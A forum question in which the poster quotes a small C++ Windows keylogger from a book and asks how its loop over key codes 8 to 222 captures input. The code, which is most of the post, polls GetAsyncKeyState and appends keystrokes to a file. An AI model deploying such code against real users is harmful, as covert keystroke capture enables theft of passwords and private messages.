I'm reading a book on writing a keylogger for fun; I came across this 'for' loop and I'm confused as to how it is relevant.
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char c;
for(;;)
{
for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
{
if(GetAsyncKeyState(c) == -32767)
{
ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
write<<c;
}
}
}
}
From my understanding, it means that C++ will set c=8, and go through the loop, incrementing until it hits 222, then stops (But it'll continue again anyway because of the parent loop). The book mentions that the numbers 8 and 222 indicate ASCII code.
But I don't see how it links to getting my input! Is the input not being derived from GetAsyncKeyState already?